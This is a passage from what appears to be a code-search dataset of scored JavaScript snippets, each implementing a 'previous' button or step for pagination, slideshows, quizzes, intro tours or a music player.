"f48266af8b2dd926e8d0fb4a67d09e2e", "score": "0.64312166", "text": "prev() {\n if (this.prev_disabled)\n return;\n\n this.current_page--;\n\n // Checking refresh jump btn menu\n // If current Minimum page > 1 && current page < current Minimum page\n var allow_index = (this.total_index>=this.max_index) ? this.max_index : this.total_index\n var min_num = this.jump_list[0].html();\n var max_num = this.jump_list[allow_index - 1].html();\n\n if (min_num >= this.min_page && this.current_page<min_num) {\n questionDebug && console.log(\"Minimum page exceed! \"+\"Current: \"+this.current_page+\" MaxJump: \"+max_num)\n this.refresh(this.current_page)\n }\n\n this.current_index = (max_num > allow_index && this.current_index) ? this.current_index : this.current_index - 1\n if(this.current_index<0) this.current_index=0\n this.focus(this.current_index)\n questionDebug && console.log(\"Prev index is \"+(this.current_index))\n\n // Checking disable btn or not\n this.checkDisable('prev')\n document.getElementById(\"q1\").innerHTML = this.question_list[this.mode][this.current_page - 1]\n }", "title": "" }, { "docid": "a13489e3dbd1ad120bbd03cbd83c615c", "score": "0.64258325", "text": "function clickPreviousButton() {\n if (currentPage > 1) {\n currentPage = currentPage - 1;\n var contentUrl = \"./U\" + currentUnit + \"_P\" + currentPage + \".html\";\n setContent(contentUrl); //change to new page\n }\n //else nothing happens\n}", "title": "" }, { "docid": "64dbc5d88d84bf46a84c406edbdb23da", "score": "0.642559", "text": "function onPrevious() {\n // Else show the previous slide\n // pointsContainer.style.display = 'none';\n showSlide(currentSlide - 1);\n progress.style.width = `${(currentSlide)*10}%`;\n}", "title": "" }, { "docid": "2c4b7139b3337b8dfaaf90764a2f3e61", "score": "0.6411895", "text": "function prevPage()\n {\n if (current_page > 1) {\n current_page--;\n changePage(current_page);\n }\n }", "title": "" }, { "docid": "a88a60d73c28af0fb5ccd791eb3ebb6b", "score": "0.64074636", "text": "_goPrev() {\n if (this.selectedStep > 0) {\n this.set('selectedStep', this.selectedStep - 1);\n }\n }", "title": "" }, { "docid": "b5c944a605bc35aa5e3d96fd4acbaf16", "score": "0.63891864", "text": "function detectArrowClicks() {\n document.getElementById('prev').addEventListener('click', function () {\n changePage(-1);\n });\n document.getElementById('next').addEventListener('click', function () {\n changePage(1);\n });\n}", "title": "" }, { "docid": "db3b3bb38eb0e943970cc445516dce14", "score": "0.6377677", "text": "prevPage(e) {\n if (this.currentPageNum > 1) {\n this.currentPageNum--;\n this.changePage(this.currentPageNum);\n }\n e.preventDefault();\n }", "title": "" }, { "docid": "7bb2b588e3a904b000fc5ee778a6df20", "score": "0.6371157", "text": "function _previousStep() {\n this._direction = 'backward';\n\n if (this._currentStep === 0) {\n return false;\n }\n\n var nextStep = this._introItems[--this._currentStep];\n if (typeof (this._introBeforeChangeCallback) !== 'undefined') {\n this._introBeforeChangeCallback.call(this, nextStep.element);\n }\n\n _showElement.call(this, nextStep);\n }", "title": "" }, { "docid": "7bb2b588e3a904b000fc5ee778a6df20", "score": "0.6371157", "text": "function _previousStep() {\n this._direction = 'backward';\n\n if (this._currentStep === 0) {\n return false;\n }\n\n var nextStep = this._introItems[--this._currentStep];\n if (typeof (this._introBeforeChangeCallback) !== 'undefined') {\n this._introBeforeChangeCallback.call(this, nextStep.element);\n }\n\n _showElement.call(this, nextStep);\n }", "title": "" }, { "docid": "7bb2b588e3a904b000fc5ee778a6df20", "score": "0.6371157", "text": "function _previousStep() {\n this._direction = 'backward';\n\n if (this._currentStep === 0) {\n return false;\n }\n\n var nextStep = this._introItems[--this._currentStep];\n if (typeof (this._introBeforeChangeCallback) !== 'undefined') {\n this._introBeforeChangeCallback.call(this, nextStep.element);\n }\n\n _showElement.call(this, nextStep);\n }", "title": "" }, { "docid": "b8a26138ccfce10cc5cb9c538f2ca19f", "score": "0.63686997", "text": "function onBackClickEvent() {\n var prev = Phonon.Navigator().getPreviousPage();\n Phonon.Navigator().changePage(prev);\n}", "title": "" }, { "docid": "932bbb453ac099de703303aeaf947e56", "score": "0.6366269", "text": "function _previousStep() {\n this._direction = 'backward';\n\n if (this._currentStep === 0) {\n return false;\n }\n\n --this._currentStep;\n\n if (typeof (this._introBeforeChangeCallback) !== 'undefined') {\n var continueStep = this._introBeforeChangeCallback.call(this);\n }\n\n // if `onbeforechange` returned `false`, stop displaying the element\n if (continueStep === false) {\n ++this._currentStep;\n return false;\n }\n\n var nextStep = this._introItems[this._currentStep];\n _showElement.call(this, nextStep);\n }", "title": "" }, { "docid": "9956c440460d51fa4e05a861e7f5b574", "score": "0.6365361", "text": "function previous(){\n if(num.page <= 1){\n setPrev(false)\n }\n else{\n setPrev(true)\n }\n if(page.count == num.page){\n setNext(false)\n }\n else{\n setNext(true)\n }\n }", "title": "" }, { "docid": "a7b9b70044c9e14ef689b627e8a2f8f5", "score": "0.636306", "text": "function goToPrevious() {\n direction = 'previous';\n\n // animate old text out\n //animateTextOut(activeIndex);\n\n // remove classes\n sliderItems.forEach(function(el){\n el.classList.remove('active','next','previous');\n });\n sliderItems[activeIndex].classList.add('previous');\n\n sliderImages.forEach(function(el){\n el.classList.remove('active');\n });\n \n // update index\n activeIndex -= 1;\n if (activeIndex < 0) {\n // loop back to end\n activeIndex = sliderItems.length - 1;\n }\n\n // add active to new item\n sliderItems[activeIndex].classList.add('active');\n sliderItems[activeIndex == 0 ? sliderItems.length - 1 : activeIndex - 1].classList.add('next');\n\n sliderImages[activeIndex].classList.add('active');\n //animateTextIn(activeIndex);\n\n // reset circles/run animation\n resetCircles();\n runCircleAnimation(circlePrev, direction);\n }", "title": "" }, { "docid": "15436b8a82cfd3512aaaf1647cb378a1", "score": "0.635863", "text": "function handlePreviousClick() {\n props.setFormNum(props.formNum);\n }", "title": "" }, { "docid": "0039c7c1d77704b0dbaa37968fa206e6", "score": "0.63500476", "text": "interactionPrev() {\n if (!this.prevButton_.classList.contains('amp-disabled')) {\n this.go(/* dir */ -1, /* animate */ true, /* autoplay */ false);\n }\n }", "title": "" }, { "docid": "a39a1a676742a280361a68778119e4f4", "score": "0.63465315", "text": "function previousSlide() {\n goToSlide(currentSlide-1);\n}", "title": "" }, { "docid": "d829050bfaa34626be1d547f41051eb3", "score": "0.6331968", "text": "function prevBtn(element) {\n document.getElementById('prevBtn').onclick = function() {\n if (infoUsers[currenrIndex - 1]) {\n createModal(infoUsers[currenrIndex - 1]);\n } else createModal(infoUsers[infoUsers.length - 1]);\n };\n }", "title": "" }, { "docid": "2dad2e4dd088ce9d69d24d049fef2807", "score": "0.6331963", "text": "function prev_slide() {\n\tif ( current_slide_num > 0 ) {\n\t\tcurrent_slide_num--;\n\t\tif ( slides[ current_slide_num ].templateType !== 'question' || slides[ current_slide_num ].slideType !== 'remediation' ) {\n\t\t\tcurrent_course_num--;\n\t\t\tpg_current.innerHTML = current_course_num + 1;\n\t\t}\n\t\twhile ( slides[ current_slide_num ].templateType === 'question' || slides[ current_slide_num ].slideType === 'remediation' ) {\n\t\t\tcurrent_slide_num--;\n\t\t}\t\n\t}\n}", "title": "" }, { "docid": "4c59a2decaebbe0a7de56a57b07c1091", "score": "0.6306441", "text": "function _previousStep() {\n this._direction = 'backward';\n\n if (this._currentStep === 0) {\n return false;\n }\n\n --this._currentStep;\n\n var nextStep = this._introItems[this._currentStep];\n var continueStep = true;\n\n if (typeof (this._introBeforeChangeCallback) !== 'undefined') {\n continueStep = this._introBeforeChangeCallback.call(this, nextStep.element);\n }\n\n // if `onbeforechange` returned `false`, stop displaying the element\n if (continueStep === false) {\n ++this._currentStep;\n return false;\n }\n\n _showElement.call(this, nextStep);\n }", "title": "" }, { "docid": "50f018dcd4b7a2b3278d244e30c990cf", "score": "0.62988275", "text": "function prevSlide() {\n showSlides(slideIndex -= 1)\n }", "title": "" }, { "docid": "008a67c193c82276d513d1fb04dfebd7", "score": "0.6288038", "text": "function previousStep() {\n this._direction = \"backward\";\n\n if (this._currentStep === 0) {\n return false;\n }\n\n --this._currentStep;\n var nextStep = this._introItems[this._currentStep];\n var continueStep = true;\n\n if (typeof this._introBeforeChangeCallback !== \"undefined\") {\n continueStep = this._introBeforeChangeCallback.call(this, nextStep && nextStep.element);\n } // if `onbeforechange` returned `false`, stop displaying the element\n\n\n if (continueStep === false) {\n ++this._currentStep;\n return false;\n }\n\n _showElement.call(this, nextStep);\n }", "title": "" }, { "docid": "09a47fc72ef88e3050061f0dfe743b14", "score": "0.62865794", "text": "prev () {\n this._carouselChange('prev');\n }", "title": "" }, { "docid": "b8c2a521752c127f2202264f0ef06af4", "score": "0.6285454", "text": "function prevSlide() {\n\t\tcurrentSlideIndex--;\n\n\t\tif (currentSlideIndex < 1) {\n\t\t\tcurrentSlideIndex = 0;\n\t\t}\n\t\tshowSlide();\n\t}", "title": "" }, { "docid": "c8e1a8b9b199a47ac4b8bdc9db79f364", "score": "0.6283959", "text": "function clickPrev() {\n var currentEQ = checkCurrent();\n if(currentEQ !== 0) {\n quiz.eq(currentEQ).removeClass('active');\n quiz.eq(currentEQ-1).addClass('active');\n saveStorage(currentEQ-1);\n }\n // check if end of quiz then back to previous\n var currentItem = localStorage.getItem('step'),\n quizID = quiz.eq(quiz.length-1).attr('id');\n if (currentItem == 'end') {\n quiz.eq(quiz.length-1).addClass('active');\n $('#final').removeClass('active');\n localStorage.setItem('step',quizID);\n saveStorage(currentEQ);\n }\n showResult();\n }", "title": "" }, { "docid": "c39a5062cc365dfe435159f0b2a1e97b", "score": "0.6279529", "text": "previous() {\n if (this.pageActions.has('previous')) {\n this.sendToPage('previous');\n } else if (this.prevButtonSelector) {\n Utils.queryClick(this.prevButtonSelector);\n } else {\n this.singleWarn('Connector.previous not implemented');\n }\n }", "title": "" }, { "docid": "25efd4f885afa20b76c6ce456c2b5768", "score": "0.6276612", "text": "function prevPage() {\n if (currentPage > 1) {\n gotoPage(currentPage - 1);\n }\n return false;\n }", "title": "" }, { "docid": "1a760f9029683b448c532428ed42b752", "score": "0.62757", "text": "function prev(){\n --current;\n showImage('l');\n }", "title": "" }, { "docid": "38804b60ac6f8b832c8a675bd4f5a8a3", "score": "0.62720764", "text": "function showPrevious()\r\n {\r\n if (currentIdx > 0)\r\n showIndex(currentIdx - 1);\r\n }", "title": "" }, { "docid": "115d106caa2176d965a63861b5295bf4", "score": "0.6246071", "text": "function prev() {\n var position,\n tempSteps = Math.ceil(numSteps);\n\n if (SETTINGS.infinite) {\n index = (index - 1 + tempSteps) % tempSteps;\n } else {\n index = (index - 1 >= 0) ? index - 1 : 0;\n }\n\n position = index;\n\n // is first page\n if (SETTINGS.infinite && index === 0) {\n position += tempSteps % 1;\n }\n \n goTo(-size * position);\n }", "title": "" }, { "docid": "7f48ac4fbb9147fee62bb223e02e3fbb", "score": "0.62430936", "text": "function gotoPrevSlide() {\n\t\tgotoSlide(index - 1 < 0 ? slideElements.length - 1 : index - 1, 'prev')\n\t\tresetTimeout()\n\t}", "title": "" }, { "docid": "9a3ac749f28a4d1819d9786c13beb2cf", "score": "0.62410176", "text": "function onPrevious() {\r\n $ionicSlideBoxDelegate.previous();\r\n }", "title": "" }, { "docid": "cf1612c159464d14301f04f898922739", "score": "0.62401235", "text": "function goToPrevSlide()\n {\n if(!isAnimating && $currentSlide.prev().length)\n {\n //setting animating flag to true\n isAnimating = true;\n \n var action = $currentSlide.find('.header-image');\n var actionone = $currentSlide.find('.header-slider-details');\n var actiononet = $currentSlide;\n var actiontwo = $currentSlide.find('.header-full-page');\n TweenMax.to(action,1,{y:60, opacity:0}) \n TweenMax.to(actiontwo,1,{y:60, opacity:0,})\n TweenMax.to(actionone,1,{x:-50, opacity:0}) \n TweenMax.to(actiononet,1,{zIndex:0,onComplete:goToSlide, onCompleteParams: [$currentSlide.prev()]}) \n //goToSlide($currentSlide.prev());\n }\n }", "title": "" }, { "docid": "5042b069aeec1c111a184c3bd7fdb6a2", "score": "0.62376356", "text": "function SamplePrevArrow(props) {\n const { onClick } = props\n return (\n <i onClick={onClick} class=\"fa fa-arrow-left\" aria-hidden=\"true\">\n <FontAwesomeIcon icon={(fas, faChevronLeft)} />\n </i>\n )\n }", "title": "" }, { "docid": "8cb40463565b1ff8b52b56fb672b199c", "score": "0.62373805", "text": "handleClick() {\n//\t\tng-click=\"prevPage()\"\n\t}", "title": "" }, { "docid": "41e94a4c52853fca4e4cdb96192284af", "score": "0.62325674", "text": "function privatePrevClickHandle(){\n\t\t/*\n\t\t\tRuns the before_prev callback for the user to hook into.\n\t\t*/\n\t\tprivateRunCallback('before_prev');\n\t\t\n\t\t/*\n\t\t\tStop active song since we are moving to the previous song.\n\t\t*/\n\t\tprivateStop();\n\n\t\t/*\n\t\t\tFirst we check if shuffle is on. If it is we use the shuffle array to \n\t\t\tselect the previous song. Otherwise, we go with the sandard song array.\n\n\t\t\tLoop around songs array if at the beginning. We need to check if the next\n\t\t\tsong is within array. Otherwise we reset it to the end of the songs.\n\n\t\t\tSet new song\n\t\t*/\n\t\tif( config.shuffle_on ){\n\t\t\tif( ( parseInt( config.shuffle_active_index ) - 1 ) >= 0 ){\n\t\t\t\t/*\n\t\t\t\t\tGets the new index in the shuffle array for the song we need.\n\t\t\t\t*/\n\t\t\t\tvar newIndex = parseInt( config.shuffle_active_index ) - 1;\n\n\t\t\t\t/*\n\t\t\t\t\tCheck new album\n\t\t\t\t*/\n\t\t\t\tprivateCheckNewAlbum( config.suffle_list[ newIndex ].album );\n\n\t\t\t\t/*\n\t\t\t\t\tSets the new song information in the config, so everything\n\t\t\t\t\tis ready to be changed.\n\t\t\t\t*/\n\t\t\t\tprivateSetActiveSongInformation( newIndex, config.shuffle_on );\n\n\t\t\t\t/*\n\t\t\t\t\tChecks to see if there is a new album to be played. If there\n\t\t\t\t\tis we fire the after_album_change callback which allows the\n\t\t\t\t\tdeveloper to handler album changes which could also mean multiple\n\t\t\t\t\tplaylists.\n\t\t\t\t*/\n\t\t\t\tif( config.album_change ){\n\t\t\t\t\tprivateRunCallback('after_album_change');\n\t\t\t\t\tconfig.album_change = false;\n\t\t\t\t}\n\n\t\t\t\t/*\n\t\t\t\t\tSets the new shuffle active index to be used in the shuffled songs object.\n\t\t\t\t*/\n\t\t\t\tconfig.shuffle_active_index = newIndex;\n\t\t\t}else{\n\t\t\t\t/*\n\t\t\t\t\tGets the new index in the shuffle array for the song we need.\n\t\t\t\t*/\n\t\t\t\tvar newIndex = parseInt( config.shuffle_list.length - 1 );\n\n\t\t\t\t/*\n\t\t\t\t\tCheck new album\n\t\t\t\t*/\n\t\t\t\tprivateCheckNewAlbum( config.suffle_list[ newIndex ].album );\n\t\t\t\t\n\t\t\t\t/*\n\t\t\t\t\tSets the new song information in the config, so everything\n\t\t\t\t\tis ready to be changed.\n\t\t\t\t*/\n\t\t\t\tprivateSetActiveSongInformation( newIndex, config.shuffle_on );\n\n\t\t\t\t/*\n\t\t\t\t\tChecks to see if there is a new album to be played. If there\n\t\t\t\t\tis we fire the after_album_change callback which allows the\n\t\t\t\t\tdeveloper to handler album changes which could also mean multiple\n\t\t\t\t\tplaylists.\n\t\t\t\t*/\n\t\t\t\tif( config.album_change ){\n\t\t\t\t\tprivateRunCallback('after_album_change');\n\t\t\t\t\tconfig.album_change = false;\n\t\t\t\t}\n\n\t\t\t\t/*\n\t\t\t\t\tSets the new shuffle active index to be used in the shuffled songs object.\n\t\t\t\t*/\n\t\t\t\tconfig.shuffle_active_index = newIndex;\n\t\t\t}\n\t\t}else{\n\t\t\tif( ( parseInt( config.active_index ) - 1 ) >= 0 ){\n\n\t\t\t\tvar newIndex = parseInt( parseInt(config.active_index) - 1 );\n\n\t\t\t\t/*\n\t\t\t\t\tCheck new album\n\t\t\t\t*/\n\t\t\t\tprivateCheckNewAlbum( config.songs[ newIndex ].album );\n\t\t\t\t\n\t\t\t\t/*\n\t\t\t\t\tSets the new song information in the config, so everything\n\t\t\t\t\tis ready to be changed.\n\t\t\t\t*/\n\t\t\t\tprivateSetActiveSongInformation( newIndex, config.shuffle_on );\n\n\t\t\t\t/*\n\t\t\t\t\tChecks to see if there is a new album to be played. If there\n\t\t\t\t\tis we fire the after_album_change callback which allows the\n\t\t\t\t\tdeveloper to handler album changes which could also mean multiple\n\t\t\t\t\tplaylists.\n\t\t\t\t*/\n\t\t\t\tif( config.album_change ){\n\t\t\t\t\tprivateRunCallback('after_album_change');\n\t\t\t\t\tconfig.album_change = false;\n\t\t\t\t}\n\n\t\t\t\t/*\n\t\t\t\t\tSets the new active index to be used with the songs object\n\t\t\t\t*/\n\t\t\t\tconfig.active_index = newIndex;\n\t\t\t}else{\n\n\t\t\t\tvar newIndex = config.songs.length - 1;\n\t\t\t\t/*\n\t\t\t\t\tCheck new album\n\t\t\t\t*/\n\t\t\t\tprivateCheckNewAlbum( config.songs[ newIndex ].album );\n\t\t\t\t\n\t\t\t\t/*\n\t\t\t\t\tSets the new song information in the config, so everything\n\t\t\t\t\tis ready to be changed.\n\t\t\t\t*/\n\t\t\t\tprivateSetActiveSongInformation( newIndex, config.shuffle_on );\n\n\t\t\t\t/*\n\t\t\t\t\tChecks to see if there is a new album to be played. If there\n\t\t\t\t\tis we fire the after_album_change callback which allows the\n\t\t\t\t\tdeveloper to handler album changes which could also mean multiple\n\t\t\t\t\tplaylists.\n\t\t\t\t*/\n\t\t\t\tif( config.album_change ){\n\t\t\t\t\tprivateRunCallback('after_album_change');\n\t\t\t\t\tconfig.album_change = false;\n\t\t\t\t}\n\n\t\t\t\t/*\n\t\t\t\t\tSets the new active index to be used with the songs object\n\t\t\t\t*/\n\t\t\t\tconfig.active_index = newIndex;\n\t\t\t}\n\t\t}\n\t\t\n\t\t/*\n\t\t\tSets the main song control status to be in sync with the current state\n\t\t\tof the song.\n\t\t*/\n\t\tprivateChangePlayPauseState( 'playing' );\n\t\t\n\t\t\n\t\t/*\n\t\t\tRuns the song change method to sync everything necessary.\n\t\t*/\n\t\tprivateAfterSongChanges();\n\n\t\t/*\n\t\t\tFires the after_prev callback for users to hook into.\n\t\t*/\n\n\t\tprivateRunCallback('after_prev');\n\t}", "title": "" }, { "docid": "467557ca7982103a57e2ee4da3657255", "score": "0.62310416", "text": "function handlePrevious(){\n if(activeIndex <= 0){\n setActiveIndex(testimonials.length-1)\n } else {\n setActiveIndex((currentIndex) => currentIndex - 1)\n }\n }", "title": "" }, { "docid": "d4a5b8b01dd4f596402d28a8ebc21713", "score": "0.6226736", "text": "function prev()\r\n\t{\r\n\t// First move to the current page, based on the current\r\n\t// URL. then step to the prev entry.\r\n\tseek_to_value( parent.window.top.location.href );\r\n\trs.MovePrev();\r\n\twindow.top.location = rs.getCurrent().url;\r\n\t}", "title": "" }, { "docid": "30a8435bd31077cbeb3bc5957311025f", "score": "0.6225053", "text": "onPreviousParagraphRequested() {}", "title": "" }, { "docid": "489c276c9291cbbb1d1b0e45420a1394", "score": "0.62184465", "text": "function navigatePrev() {\n\n\t\t// Prioritize revealing fragments\n\t\tif( previousFragment() === false ) {\n\t\t\tif( availableRoutes().up ) {\n\t\t\t\tnavigateUp();\n\t\t\t}\n\t\t\telse {\n\t\t\t\t// Fetch the previous horizontal slide, if there is one\n\t\t\t\tvar previousSlide = document.querySelector( HORIZONTAL_SLIDES_SELECTOR + '.past:nth-child(' + indexh + ')' );\n\n\t\t\t\tif( previousSlide ) {\n\t\t\t\t\tvar v = ( previousSlide.querySelectorAll( 'section' ).length - 1 ) || undefined;\n\t\t\t\t\tvar h = indexh - 1;\n\t\t\t\t\tslide( h, v );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t}", "title": "" }, { "docid": "95782c9ba4a3ac542b81ca76d3fe30ed", "score": "0.62076163", "text": "function navprev( prev ) {\n\t\t/* $( \":mobile-pagecontainer\" ).pagecontainer( \"change\", prev + \".html\", {\n\t\t\ttransition: \"slide\",\n\t\t\treverse: true\n\t\t}); */\n\t\tprev += \".html\";\n\t\t$.mobile.changePage(prev, {transition:pageTransition, reverse:true});\n\t\tcloseMenu();\n\t}", "title": "" }, { "docid": "9b44d92e32f25f2e1686788f83dfc443", "score": "0.6204133", "text": "prevSlide(event) {\n if (this.currentSlide !== 0) this.goToSlide(this.currentSlide - 1);\n else this.goToSlide(slides.length - 1);\n }", "title": "" }, { "docid": "0b17630933a81ec3603b48388eeb7671", "score": "0.62011445", "text": "function slidePrev() {\r\n if (total < 4 || taget == 0) return;\r\n taget -= 1;\r\n $(images).css(\"top\", \"-\" + taget * 80 + \"px\");\r\n $(btnNext).removeClass(\"inactive\");\r\n if (taget == 0) $(btnPrev).addClass(\"inactive\");\r\n }", "title": "" }, { "docid": "734ae1e19bac9de77c31eb65fc354118", "score": "0.6195071", "text": "previous() {\n if (this.model.getOffset() - 1 > 0) {\n this.goToPage(this.model.getOffset() - 1);\n }else{\n //Handle the error call back\n console.log(\"Cannot go previous\");\n }\n }", "title": "" }, { "docid": "5f84c6bebd1791f73a92696f5da76feb", "score": "0.61934674", "text": "function goPreviousPage() {\n if (currentPage !== 1) {\n currentPage = currentPage - 1;\n }\n displayData();\n}", "title": "" }, { "docid": "63709731d87e288651c3ea35a2686339", "score": "0.6193311", "text": "function showPreviousSlide() {\n showSlide(currentSlide - 1);\n }", "title": "" }, { "docid": "985e8e44dec5d54071322219409b6e91", "score": "0.61884475", "text": "function PrevButton(props) {\n const { onClick } = props;\n return (\n <button\n className={`tc prevArrow f3 br-pill fw6 grow ph3 pv2 mb2 dib white bg-dark-red`}\n style={{ outline: \"none\" }}\n onClick={onClick}\n >\n <span>\n <i className=\"fas fa-arrow-left\" />\n </span>\n </button>\n );\n}", "title": "" }, { "docid": "35b9400dcb843bc2a419cbea58f0dd74", "score": "0.617192", "text": "get previousButton() {\n let currentStep = this.state.currentStep;\n // If the current step is not 1, then render the \"previous\" button\n if (currentStep !== 1) {\n return (\n <button\n className=\"btn btn-secondary float-left\"\n type=\"button\"\n onClick={this._prev}\n >\n Previous\n </button>\n );\n }\n // ...else return nothing\n return null;\n }", "title": "" }, { "docid": "6097c3efc1ab5a999f0317493a020c36", "score": "0.6170609", "text": "goToPrevPage() {\n\t\tapp.showGreeting();\n\t}", "title": "" }, { "docid": "1b9841744ac870c9aa32df6beb2302b8", "score": "0.6167855", "text": "function displayPreviousChapter() {\n initDisplay();\n isNotFirstPage = true;\n document.getElementById('chaptersList').style.display = \"none\";\n var parameters = readJson('parameters');\n var paragraphIdArray = [];\n if (parameters === null) {\n initializeParameter();\n }\n applyParameters();\n\n document.getElementById('previous').style.display = 'block';\n document.getElementById('next').style.display = 'block';\n\n var iframe = document.getElementById(\"completeChapter\");\n iframe.contentWindow.document.body.innerHTML = \"\"; \n var paragraphs = document.getElementById('paragraphs');\n while (paragraphs.firstChild) {\n paragraphs.removeChild(paragraphs.firstChild);\n }\n\n document.getElementById(\"paragraphs\").style.display = 'block';\n document.getElementById(\"paragraphs\").addEventListener(\"click\", displayToolbar, false); \n\n\tvar chapterToDisplay = chaptersListArray[currentChapter - 1];\n iframe.contentWindow.document.body.innerHTML += chapterToDisplay; \n \n\tcurrentChapter = currentChapter - 1;\n\tfor (var i = 0; i < chaptersListArray.length - 1; i++) {\n\t document.getElementById(\"chapter\" + i).style.background = \"#120D16\";\n\t document.getElementById(\"chapter\" + i).firstChild.firstChild.style.color = \"lightblue\";\n\t}\n document.getElementById(\"chapter\" + currentChapter).style.background = \"#52B6CC\";\n\tdocument.getElementById(\"chapter\" + currentChapter).firstChild.firstChild.style.color = \"#120D16\";\n\tvar temp = document.getElementById('completeChapter').contentDocument;\n\tvar ael = temp.getElementsByTagName(\"p\");\n\tvar paragraphToDisplay = [];\n for (var i = ael.length - 1; i > 0 ; i--) {\t\n\t\tvar currentParagraph = ael[i].cloneNode(true);\n\t\tvar paragraph = document.createElement(\"p\");\n\t\tparagraph.id = \"paragraph\" + i;\n\t\tparagraph.innerHTML = currentParagraph.innerHTML;\n\n\t\tparagraphToDisplay.push(paragraph);\n\t\tdocument.getElementById(\"paragraphs\").appendChild(paragraph);\n\n\t\tif (paragraph instanceof Element) {\n\t\t\tvar p = elementInViewport(paragraph);\n\t\t\tif (!p) {\n\t\t\t\tparagraphIdArray.push(i);\n\t\t\t\tlastParagraph = i;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n }\n\n\tparagraphToDisplay.reverse();\n\twhile (paragraphs.firstChild) {\n\t\tparagraphs.removeChild(paragraphs.firstChild);\n\t}\n\tfor (var i = 0; i < paragraphToDisplay.length - 1; i++) {\n\t document.getElementById(\"paragraphs\").appendChild(paragraphToDisplay[i]);\n\t}\n\tsaveLastPageRead2(currentChapterTitle,currentChapter,paragraphIdArray[0]);\n}", "title": "" }, { "docid": "0b8c237012f3d124489c0afd4e804cb7", "score": "0.61632377", "text": "function prev() {\n current_page = current_page - 1;\n if (current_page == 0) {\n // alert(\"first page!\");\n current_page = 1;\n locate();\n } else {\n locate();\n }\n}", "title": "" }, { "docid": "7786140f2e8e7b6273c3a875f92396f9", "score": "0.61583287", "text": "function handleWizardPrevious(){\n\n if (document.getElementById('ButtonPrevious').name == 'Step1'){\n\n // Change the button name - we use this to keep track of which step to display on a click\n document.getElementById('ButtonNext').name = 'Step2';\n document.getElementById('ButtonPrevious').name = '';\n\n // Disable/enable buttons when reach reach start and review steps\n document.getElementById('ButtonPrevious').disabled = 'disabled';\n\n // Set new step to display and turn off display of current step\n document.getElementById('Step2').style.display = 'none';\n document.getElementById('Step1').style.display = '';\n\n // Change background color on header to highlight new step\n\t\t\t\tdocument.getElementById('HeaderTableStep1').style.color= '#66CCFF';\n document.getElementById('HeaderTableStep2').style.color = '#000000';\n\n }\n\n else if (document.getElementById('ButtonPrevious').name == 'Step2'){\n\n // Change the button name - we use this to keep track of which step to display on a click\n document.getElementById('ButtonNext').name = 'Step3';\n document.getElementById('ButtonPrevious').name = 'Step1';\n\n // Set new step to display and turn off display of current step\n document.getElementById('Step3').style.display = 'none';\n document.getElementById('Step2').style.display = '';\n\n document.getElementById('ButtonNext').disabled = '';\n \n // Change background color on header to highlight new step\n document.getElementById('HeaderTableStep2').style.color= '#66CCFF';\n document.getElementById('HeaderTableStep3').style.color = '#000000';\n }\n\n }", "title": "" }, { "docid": "477c7512c72e6bf134ac97af7b3fd4bb", "score": "0.61502343", "text": "function navigatePrev() {\n\n\t\t// Prioritize revealing fragments\n\t\tif( previousFragment() === false ) {\n\t\t\tif( availableRoutes().up ) {\n\t\t\t\tnavigateUp();\n\t\t\t}\n\t\t\telse {\n\t\t\t\t// Fetch the previous horizontal slide, if there is one\n\t\t\t\tvar previousSlide;\n\n\t\t\t\tif( config.rtl ) {\n\t\t\t\t\tpreviousSlide = toArray( dom.wrapper.querySelectorAll( HORIZONTAL_SLIDES_SELECTOR + '.future' ) ).pop();\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tpreviousSlide = toArray( dom.wrapper.querySelectorAll( HORIZONTAL_SLIDES_SELECTOR + '.past' ) ).pop();\n\t\t\t\t}\n\n\t\t\t\tif( previousSlide ) {\n\t\t\t\t\tvar v = ( previousSlide.querySelectorAll( 'section' ).length - 1 ) || undefined;\n\t\t\t\t\tvar h = indexh - 1;\n\t\t\t\t\tslide( h, v );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t}", "title": "" }, { "docid": "f7efb63a78a47ca92c4c7800c704c3a7", "score": "0.6148481", "text": "_previousButton() {\n if(this.state.current === 0) {\n return null\n } else {\n return <button onClick={this._handlePrevious}>Previous</button>\n }\n }", "title": "" }, { "docid": "421f5019ae790b62844066da069b061e", "score": "0.61222136", "text": "function PrevArrow(props) {\n const { className, style, onClick } = props;\n return (\n <div\n className={className}\n style={{\n ...style,\n display: \"block\",\n background: \"black\"\n }}\n onClick={onClick}\n />\n );\n }", "title": "" }, { "docid": "8c3b47c0217cf428c13f000dd05a41c4", "score": "0.61183757", "text": "function leftArrowPressed() {\r\n\twindow.location = links['previous'];\r\n}", "title": "" }, { "docid": "0c5ebabdbd4dfb5627145bd425033a17", "score": "0.61146086", "text": "previousHandler(){\n if (this.page > 1){\n this.page = this.page - 1; //decrease page by 1\n this.displayRecordPerPage(this.page);\n }\n }", "title": "" }, { "docid": "39ea67953c71afbccbe864c99a302cd6", "score": "0.6113368", "text": "function previous() {\r\n var k = input.length - 1\r\n if (input.length > 0) {\r\n displayData(input[k] - 1)\r\n var indexNew = index;\r\n // code to change page numbers on previous button click\r\n if (indexNew[9]> 10 ) {\r\n var div10 = document.createElement(\"div\");\r\n div10.id = 'div10'\r\n div10.className = \"pagination\"\r\n index = [];\r\n for (i = 0; i < indexNew.length; i++) {\r\n var a = document.createElement(\"a\");\r\n a.id = indexNew[i] - 1;\r\n a.href = '#'\r\n var temp = indexNew[i] - 1;\r\n a.setAttribute(\"onclick\", \"displayData(\" + temp + \")\");\r\n a.innerHTML = indexNew[i] - 1;\r\n index.push(indexNew[i] - 1)\r\n div10.appendChild(a)\r\n }\r\n document.getElementById('div5').innerHTML = div10.innerHTML;\r\n }\r\n }\r\n}", "title": "" }, { "docid": "cb05390175c2e73385f5cab72ca1771d", "score": "0.6107683", "text": "function buttonPrevious() {\n setImageCount(imageCount); // Assert image count to the input box\n setGeneration(currentGeneration - 1, maximumGeneration); // Move backward\n displayGenImages(currentGeneration, imageCount); // Display new generation\n }", "title": "" }, { "docid": "acecf254908fa4a3456344e6482eb7e6", "score": "0.61059135", "text": "function fnGotoNextChapter()\n{\n var NextChapter = parseInt(CurrentChapter,10) + 1;\n if(NextChapter > TotalChapters)\n {\n parent.frames.frame_a.document.getElementById(\"NextChap\").style.cursor = \"default\";\n parent.frames.frame_a.document.getElementById(\"NextChap\").src = \"common/images/goto_next_ch_dis.gif\";\n }\n else\n Sc(NextChapter);\n}//end of nGotoNextChapter", "title": "" }, { "docid": "8cc2b0d0372a34a511931c965e9737f9", "score": "0.6105351", "text": "get 